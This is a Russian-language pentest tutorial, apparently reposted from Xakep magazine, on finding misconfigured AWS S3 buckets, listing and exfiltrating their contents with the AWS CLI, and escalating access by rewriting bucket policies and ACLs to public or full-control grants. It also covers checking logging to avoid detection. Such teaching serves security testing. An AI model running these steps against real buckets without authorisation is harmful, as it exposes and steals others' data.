Хакер - Проверка ведер. Как искать уязвимости в бакетах AWS S3

Хакер - Проверка ведер. Как искать уязвимости в бакетах AWS S3

hacker_frei

https://t.me/hacker_frei

MichelleVermishelle

Содержание статьи

  • Теория
  • Поиск бакетов
  • Получение содержимого
  • Разведка из облака
  • AWS CLI
  • Эксфильтрация
  • Повышение привилегий
  • Изменение политики бакета
  • Изменение ACL бакета
  • Изменение ACL объекта
  • Выводы

Хра­нили­ще Amazon S3, хоть и содер­жит ста­тичес­кие дан­ные, может откры­вать боль­шие воз­можнос­ти при пен­тесте. Неп­равиль­но выс­тавлен­ные раз­решения поз­воля­ют хакерам выис­кивать в S3 чувс­тви­тель­ные дан­ные, которые дадут путь для даль­нейше­го прод­вижения. В этой статье мы пос­мотрим, как могут выг­лядеть мис­конфи­ги S3 и как их экс­плу­ати­ровать.

WARNING

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону. 

ТЕОРИЯ

У бакетов есть воз­можность кон­тро­ля дос­тупа: объ­екты могут быть обще­дос­тупны­ми либо при­ват­ными. Дос­туп к при­ват­ным быва­ет как толь­ко для чте­ния, так и с воз­можностью записи.

Как выг­лядит S3

Внут­ри S3 есть два типа дан­ных: Bucket — кон­тей­нер для объ­ектов и Object — сам файл. Самые час­тые спо­собы вза­имо­дей­ствия:

  • List — перечис­лить все хра­нили­ща S3 или фай­лы на S3;
  • Get — получить файл;
  • Put — помес­тить файл на S3;
  • Delete — уда­лить файл.

Фор­мат URL для дос­тупа к S3 выг­лядит так:

http(s)://{имя бакета}.s3.{регион}.amazonaws.com

Здесь {имя} опре­деля­ется вла­дель­цем бакета, нап­ример:

https://xakeprufiles.s3.us-west-2.amazonaws.com

Ба­кеты S3 мож­но обна­ружить раз­ными спо­соба­ми, нап­ример най­ти URL в исходном коде стра­ницы веб‑сай­та, в репози­тори­ях GitHub или даже авто­мати­зиро­вать про­цесс с помощью готовых ути­лит.

Для перебо­ра мож­но исполь­зовать наз­вание ком­пании, за которым сле­дуют общие тер­мины. Нап­ример, xakepru-assetsxakepru-wwwxakepru-publicxakepru-private и так далее.

Так­же к бакету или объ­екту может быть при­вяза­на полити­ка безопас­ности.

По­лити­ки бакета

С помощью политик мож­но ука­зать, кто име­ет дос­туп к ресур­су и какие дей­ствия может выпол­нять с ним. Есть четыре вари­анта:

  • пуб­личный дос­туп (Public Access);
  • ACL — сок­ращение от Access Control List. Мож­но нас­тра­ивать как на бакет, так и на кон­крет­ный объ­ект бакета;
  • Bucket Policies — нас­тра­ивают­ся толь­ко для бакета;
  • Time Limited URLs — вре­мен­ные URL для дос­тупа.

Еще есть полити­ки, осно­ван­ные на лич­ности, они прик­репля­ются к поль­зовате­лю, груп­пе или роли IAM. Поз­воля­ют опре­делять, что объ­ект может делать.

ПОИСК БАКЕТОВ

На­чать сто­ит с сер­виса greyhatwarfare.com. Он поз­воля­ет находить бакеты и объ­екты в них с помощью клю­чевых слов.

Об­наруже­ние бакетов

Ес­ли тол­ком ничего не находит­ся, то идем на сайт ком­пании. Здесь нам поможет Burp Suite. Прос­то прос­матри­вай веб‑сайт, а затем ана­лизи­руй получен­ную кар­ту.

При этом бакеты всег­да находят­ся на сле­дующих URL:

http://s3.[region].amazonaws.com/[bucket_name]/

http://[bucket_name].s3.[region].amazonaws.com/

http://s3-website-[region].amazonaws.com/[bucket_name]

http://[bucket_name].s3-website-[region].amazonaws.com

http://[bucketname].s3.dualstack.[region].amazonaws.com

http://s3.dualstack.[region].amazonaws.com/[bucketname]

Нуж­но ли нам под­бирать пра­виль­ный реги­он? Нет! Amazon любез­но под­ска­жет, что мы ищем где‑то не там. Поэто­му нам дос­таточ­но лишь наз­вания бакета.

Не­вер­ный реги­он

Но как получить это наз­вание? Чаще все­го оно скры­вает­ся в записях CNAME (в них сопос­тавле­ны псев­донимы с исходны­ми DNS-име­нами) домена ата­куемой ком­пании. Обна­ружить их мож­но вот так:

dig <domain> any

При­мер:

dig flaws.cloud any

Смот­рим DNS

Да, может быть, CNAME и пуст, но пос­мотрим, что еще есть на этом IP:

nslookup <ip>

При­мер:

nslookup 52.218.192.11

Об­ратный поиск

И получим, что к IP при­вязан еще и адрес s3-website-us-west-2.amazonaws.com. Это так называ­емый Website Endpoint. Эндпой­нты исполь­зуют­ся, ког­да с бакетом интегри­рован прос­тень­кий ста­тичес­кий веб‑сайт.

Все бакеты S3, нас­тро­енные для веб‑хос­тинга, получа­ют домен AWS, который мож­но исполь­зовать без собс­твен­ного DNS. То есть имя бакета в дан­ном слу­чае сов­пада­ет с име­нем домена, а имен­но flaws.cloud.

Ко­неч­но же, каж­дый домен переби­рать вруч­ную проб­лематич­но. Уско­рит дело прос­тень­кий скрипт на Bash:

while read p; do

echo $p, curl --silent -I -i http://$p | grep AmazonS3

done < subdomains.txt

Пе­ребор доменов

Об­рати вни­мание, что не все домены зарегис­три­рова­ны как записи CNAME. Некото­рые могут не отоб­ражать­ся явно в про­цес­се раз­решения имен. В таком слу­чае удоб­но исполь­зовать сайт dnscharts.hacklikeapornstar.com. Сюда мож­но заг­рузить спи­сок доменов, а сер­вис уже самос­тоятель­но най­дет записи и по воз­можнос­ти сопос­тавит их с облачны­ми сер­висами.

Ви­зуали­зация всех записей

Ес­ли ты не зна­ешь, как находить под­домены, то рекомен­дую ути­литу Amass в связ­ке с но­вой тех­никой перечис­ления доменов.

На неболь­ших тар­гетах одно­го инс­тру­мен­та будет дос­таточ­но:

amass enum -d <атакуемый домен> -passive -o res.txt

Пас­сивное ска­ниро­вание най­дет мно­го лиш­него, поэто­му мож­но исполь­зовать активное:

amass enum -d <атакуемый домен> -active -o res.txt

Най­ден­ные под­домены

Но если все еще мало, то заг­ружай домены в Regulator:

python3 main.py <атакуемый домен> <файл с доменами> <output-file>

При­мер:

python3 main.py flaws.cloud res.txt flaws.rules

И генери­руй спи­сок доменов с помощью получен­ных пра­вил:

make_brute_list.sh flaws.rules flaws.brute

Ито­говый спи­сок мож­но начинать про­верять на валид­ность:

puredns resolve flaws.brute --write flaws.valid

На­конец, если никак не получа­ется обна­ружить имя бакета, то мож­но поп­робовать его сбру­тить. Для это­го сущес­тву­ет куча инс­тру­мен­тов:

ПОЛУЧЕНИЕ СОДЕРЖИМОГО

Ког­да ты обна­ружил мак­сималь­ное чис­ло бакетов, пора перехо­дить к перечис­лению их содер­жимого. С этим отлично справ­ляет­ся AWS CLI:

aws configure

Даль­ше вво­дим дан­ные любой дей­стви­тель­ной учет­ной записи AWS.

Су­щес­тву­ет флаг --no-sign-request, который поз­воля­ет получать ано­ним­ный дос­туп, но я рекомен­дую все‑таки вво­дить хоть какие‑нибудь учет­ные дан­ные.

Иног­да быва­ет, что от ано­нима ничего не най­ти, но раз­ведка от лица какого‑нибудь поль­зовате­ля рас­кры­вает инте­рес­ную информа­цию. Под­черки­ваю: тре­бует­ся ввес­ти дан­ные любой учет­ной записи AWS. Абсо­лют­но любой.

Пред­лагаю начать с получе­ния пол­ного спис­ка объ­ектов в бакете:

aws aws s3 ls s3://<имя бакета> --recursive

Ли­бо:

aws s3api list-objects-v2 --bucket <имя бакета>

При­мер:

aws s3 ls s3://flaws.cloud --recursive

aws s3api list-objects-v2 --bucket flaws.cloud

Изу­чение объ­ектов бакета

Ес­ли объ­ектов очень мно­го, то мож­но покопать­ся в них с помощью стан­дар­тных регуля­рок.

# Извлечение имен файлов из параметра Key (имя файла)

grep '"Key"' object.txt | sed 's/[",]//g' > list_keys.txt

# Указываем интересующие нас расширения

patterns='\.sh$|\.sql$|\.tar\.gz$\.properties$|\.config$|\.tgz$\.conf$|\.zip$|\.7z$|\.rar$|\.txt$|\.ps1$|\.bat$|\.word$|\.xlsx$|\.xls$|\.pdf$'

# Находим файлы, соответствующие шаблону

egrep $patterns list_keys.txt

Ког­да спи­сок воз­можных объ­ектов получен, мож­но ска­чать их вот так:

aws s3api get-object --bucket <bucket-name> --key <имя файла> <download-file-location>

Нап­ример:

aws s3api get-object --bucket flaws.cloud --key aws.txt C:\Users\User\Desktop\downloaded.txt

Так­же мож­но ска­чать бакет целиком:

aws s3 sync s3://<bucket>/ .

Очень мно­го бакетов содер­жат репози­тории на GitHub. Если такой най­дет­ся, обя­затель­но попытай­ся дос­тать инте­рес­ную информа­цию с помощью Gitleaks или TruffleHog.

РАЗВЕДКА ИЗ ОБЛАКА

Не сто­ит забывать про бакеты, даже если у нас уже есть дос­туп в AWS. Ведь имен­но в бакетах пос­тоян­но встре­чают­ся фай­лы кон­фигура­ции, кук­буки, скрип­ты, необ­работан­ные дан­ные, а иног­да даже бэкапы баз дан­ных. 

AWS CLI

На­чина­ем всег­да с перечис­ления дос­тупных бакетов:

aws s3api list-buckets

По­иск бакетов

Те­перь можем изу­чить все ACL, нас­тро­енные на бакет:

aws s3api get-bucket-acl --bucket <bucket-name>

Нап­ример:

aws s3api get-bucket-acl --bucket buckettest

Прос­мотр ACL

Нес­ложно догадать­ся, что Grantee — объ­ект, которо­му выда­ются пра­ва.

Нас­тоящий хакер дол­жен быть незамет­ным, как нин­дзя. Поэто­му обя­затель­но про­веряй, ведут­ся ли логи у ата­куемо­го бакета:

aws s3api get-bucket-logging --bucket <имя бакета>

Нап­ример:

aws s3api get-bucket-logging --bucket buckettest

Ес­ли логиро­вания нет, вывода не будет.

От­сутс­твие логиро­вания

Ес­ли же логиро­вание при­сутс­тву­ет, AWS CLI уве­домит нас об этом.

Ло­гиро­вание сущес­тву­ет

В дан­ном слу­чае все логи дос­тупа к бакету buckettestlogging будут лежать в бакете xakepru.

Обя­затель­но пос­мотри и полити­ку, при­вязан­ную к бакету:

aws s3api get-public-access-block --bucket <bucket-name>

Нап­ример:

aws s3api get-public-access-block --bucket buckettest

Изу­чаем полити­ки, при­вязан­ные к бакету

По­лити­ки быва­ют сле­дующие:

  • BlockPublicAcls — если true, то пре­дот­вра­щает соз­дание любых ACL или изме­нение сущес­тву­ющих ACL, дающих пуб­личный дос­туп к бакету;
  • IgnorePublicAcls — если true, то любые дей­ствия с обще­дос­тупны­ми ACL будут игно­риро­вать­ся; это не помешать их соз­дать, но пре­дот­вра­тит пос­ледс­твия;
  • BlockPublicPolicy — если true, то ста­вит­ся зап­рет на соз­дание или изме­нение полити­ки, которая раз­реша­ет пуб­личный дос­туп;
  • RestrictedPublicBuckets — если true, то к бакету смо­гут получить дос­туп лишь авто­ризо­ван­ные поль­зовате­ли. Собс­твен­но, из‑за это­го парамет­ра я и совето­вал тебе ука­зывать дан­ные любой учет­ной записи AWS.

На­конец, получа­ем все объ­екты в опре­делен­ном бакете:

aws s3api list-objects-v2 --bucket <bucket name>

При­мер:

aws s3api list-objects-v2 --bucket xakepru

Спи­сок объ­ектов

Так­же ты можешь получить информа­цию об ACL кон­крет­ного объ­екта:

aws s3api get-object-acl --bucket <bucket-name> --key <object-name>

При­мер:

aws s3api get-object-acl --bucket xakepru --key aws.txt

aws s3api get-object-acl --bucket xakepru --key folder1/aws.txt

Эксфильтрация

Что­бы дос­тать дан­ные из бакета, нам тре­бует­ся дос­туп на чте­ние (READ).

Спо­собы получе­ния дос­тупа к объ­ектам

Да­вай пов­торим прой­ден­ное. Как ты уже понял, самый час­тый мис­конфиг — всем поль­зовате­лям пре­дос­тавля­ются пра­ва на чте­ние. В таком слу­чае мы можем най­ти адрес бакета и про­читать его содер­жимое даже без аутен­тифика­ции. Так­же быва­ет, что пра­ва на чте­ние есть лишь у авто­ризо­ван­ных поль­зовате­лей либо у одно­го кон­крет­ного поль­зовате­ля. В таком слу­чае мы смо­жем получить дос­туп к содер­жимому через API или CLI. Наконец, дос­туп к бакету мож­но получить, исполь­зуя спе­циаль­но сге­нери­рован­ную вре­мен­ную ссыл­ку.

По­лез­но так­же смот­реть раз­меры бакета и опись содер­жимого:

aws s3api list-objects --bucket <имя бакета> --output json --query "[sum(Contents[].Size), length(Contents[])]"

При­мер:

aws s3api list-objects --bucket flaws.cloud --output json --query "[sum(Contents[].Size), length(Contents[])]"

Раз­меры бакета

Как ска­чивать отдель­ный объ­ект с помощью get-object либо весь бакет с помощью sync, мы уже разоб­рали. Теперь обра­тим вни­мание на вре­мен­ную ссыл­ку для ска­чива­ния объ­ектов. Любой, кто име­ет валид­ные учет­ные дан­ные и дос­туп к бакету, может соз­дать ее:

aws s3 presign s3://<Bucket-Name>/<key-Object-Name> --expires-in <время в секундах>

При­мер:

aws s3 presign s3://xakepru/Xakep001.pdf --expires-in 604800

По­луче­ние вре­мен­ной ссыл­ки на ска­чива­ние объ­екта

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

К бакету могут быть при­вяза­ны полити­ки, ACL, поэто­му, имея опре­делен­ные пра­ва, можем сде­лать, нап­ример, бакет обще­дос­тупным. 

Изменение политики бакета

Для экс­плу­ата­ции тре­бует­ся наличие s3:PutBucketPolicy. С этой при­виле­гией смо­жем пре­дос­тавить боль­ше раз­решений на бакеты, нап­ример раз­решим себе читать, записы­вать, изме­нять и уда­лять бакеты:

aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <имя бакета>

Са­ма полити­ка может выг­лядеть вот так:

{

"Id": "Policy1568185116930",

"Version": "2012-10-17",

"Statement": [

{

"Sid": "Stmt1568184932403",

"Action": [

"s3:*"

],

"Effect": "Allow",

"Resource": "arn:aws:s3:::<имя бакета>",

"Principal": "*"

}

}

Изменение ACL бакета

Нам нуж­но s3:PutBucketAcl. Бла­года­ря такой при­виле­гии смо­жем изме­нить ACL, при­вязан­ный к бакету:

aws s3api put-bucket-acl --bucket <имя бакета> --access-control-policy file://acl.json

При­мер полити­ки:

{

"Owner": {

"DisplayName": "<Кого ты хочешь сделать владельцем>",

"ID": "<ID>"

},

"Grants": [

{

"Grantee": {

"Type": "Group",

"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"

},

"Permission": "FULL_CONTROL"

}

]

} 

Изменение ACL объекта

Для это­го пот­ребу­ется s3:PutObjectAcl. Может быть так, что ACL на бакет изме­нить мы не смо­жем, но вот ACL на опре­делен­ный объ­ект в сос­тоянии. Экс­плу­ати­руем:

aws s3api put-object-acl --bucket <имя бакета> --key <объект> --access-control-policy file://objacl.json

По­лити­ка может быть вот такой:

{

"Owner": {

"DisplayName": "<Кого ты хочешь сделать владельцем>",

"ID": "<ID>"

},

"Grants": [

{

"Grantee": {

"Type": "Group",

"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"

},

"Permission": "FULL_CONTROL"

}

]

} 

ВЫВОДЫ

Ка­залось бы, S3 — не более чем сер­вис хра­нения дан­ных. Но, как ты смог убе­дить­ся, даже обыч­ное фай­лох­ранили­ще может быть уяз­вимым само и откры­вать дру­гие уяз­вимос­ти. Любая воз­можность рас­ширить повер­хность ата­ки важ­на при пен­тестах, и пло­хо нас­тро­енные бакеты могут в этом пла­не сос­лужить отличную служ­бу

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei





Report Page